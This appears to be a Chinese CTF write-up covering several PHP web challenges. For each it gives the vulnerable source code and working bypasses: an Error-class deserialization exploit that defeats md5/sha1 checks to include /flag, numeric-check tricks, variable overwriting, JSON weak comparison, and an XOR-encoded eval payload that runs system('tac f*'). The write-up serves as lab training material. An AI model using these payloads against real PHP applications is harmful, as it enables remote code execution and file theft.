web02
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("不对 !!");
}
}
}
}
if (isset($_GET['niu_niu.gan'])){
unserialize($_GET['niu_niu.gan']);
} else {
highlight_file(__FILE__);
}
?>
利用Error类绕过md5和sha1检测,Error类中有__toString
方法,做字符串处理时就会调用这个函数,md5()和sha1()函数都会调用__toString()
,例如:
注意: $a和$b要在同一行,不然md5和sha1后不相等,定义是要在同一行,因为报错的打印出来的包括错误行数。
我们可以将题目中的$syc和$lover分别声明为类似上方的内置类对象,来绕过。因为题目过滤了括号,无法调用函数,所以我们用include "/flag"
将flag包含进来,引号用url取反绕过。
最终exp:
<?php
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
class SYCLOVER {
public $syc;
public $lover;
}
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo urlencode(serialize($c));
?>
web03
<?php
//flag in fl0gd.php
error_reporting(0);
highlight_file(__FILE__);
$yutu = $_GET['y'];
function rongyao($a){
return preg_replace('/php|phtml|flag|/i','',$a);
}
if($_COOKIE){
unset($_COOKIE);
}
$_ABC["xiaqing"] = 'xiaqing';
$_ABC["qjj"]=$yutu;
extract($_POST);
if(!$_GET['photo']){
$_ABC['photo'] = base64_encode('photo.png');
}else{
$_ABC['photo'] = md5(base64_encode($_GET['photo']));
}
$serialize = rongyao(serialize($_ABC));
if($yutu=='qiaojingjing'){
echo 'you are my rongyao~~';
}else if($yutu=='show_photo'){
$phpinfo = unserialize($serialize);
echo file_get_contents(base64_decode($phpinfo['photo']));
}
web05
<?php
highlight_file(__FILE__);
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag1;
}
echo '<hr>';
}
这里用is_numeric检查是否为数字,而后面用(int)将字符型数字转为数字型数字,那么我们来比较一下这两个函数对字符型数字的处理。
前者支持普通数字型、科学记数法型、部分支持十六进制0x型,在前者支持的形式中,后者不能正确转换的类型有十六进制型、科学计数法型(部分)。
因此我们可以使用十六进制或科学计数法来绕过,如?time=5.184001e6
访问robots.txt得到:index.php lib.php part.php part.txt
访问part.txt得到:
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
die("BugsBunnyCTF is here :p...");
if ( !isset($_POST["flag"]) )
die($_403);
foreach ($_GET as $key => $value)
$$key = $$value;
foreach ($_POST as $key => $value)
$$key = $value;
if ( $_POST["flag"] !== $flag )
die($_403);
echo "This is your flag : ". $flag2 . "\n";
die($_200);
这个有问题,只要给flag传参即可得到flag。
正确解法应该是:利用第一个foreach先将$flag的值赋给$_200
,然后利用die($_200)
将原本的flag值打印出来。
web06
进入后是一个2048游戏,查看源码,再去看js源码,找到phpisbest.php提示,去访问:
<?php
show_source(__FILE__);
@include_once 'flag.php';
//phpisbest language
$a = $_GET['a'];
$b = $_GET['b'];
$good = false;
if (sha1($a)===sha1($b)) {
$good = true;
}
else die('bypass');
if ($good && isset($_GET['key'])){
$message = json_decode($_GET['key']);
if ($message->key==$key) {
echo $flag;
}
else die('flag is coming!');
}
?>
a和b取一样,key采用json弱比较,所以给他赋值为0即可:
?a=1&b=1&key={"key":0}
web07
进入后一个phpinfo页面,访问robots.txt得到提示,?use1
,访问得到:
<?php
include"flag.php";
if(isset($_GET['use1'])){
show_source(__FILE__);
$v1 = (String)$_GET['use1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}else{
phpinfo();
}
/^\W+$/
的意思:匹配[^a-zA-Z0-9_]
(任意个非单词字符、非数字字母下划线的字符)。
$v1$v3$v2绕过利用php特性,数字和命令进行一些运算,如1-phpinfo();
是可以执行phpinfo()命令的。如:eval("1-system("cat flag.txt");");
。(不一定是减号,还有加、乘、除号,若用加号,要进行URL编码,这是个特殊字符,不进行编码会当作空格)
所以我们构造出1-phpinfo()-1
这种格式即可,也就是v1=1&v2=1&v3=-system("tac f*")-
,然后用取反绕过正则。得到:
("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%01%06%02"^"%7f%60%60%21%60%28")
最后的payload:
?use1=1&v2=1&v3=-("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%01%06%02"^"%7f%60%60%21%60%28")-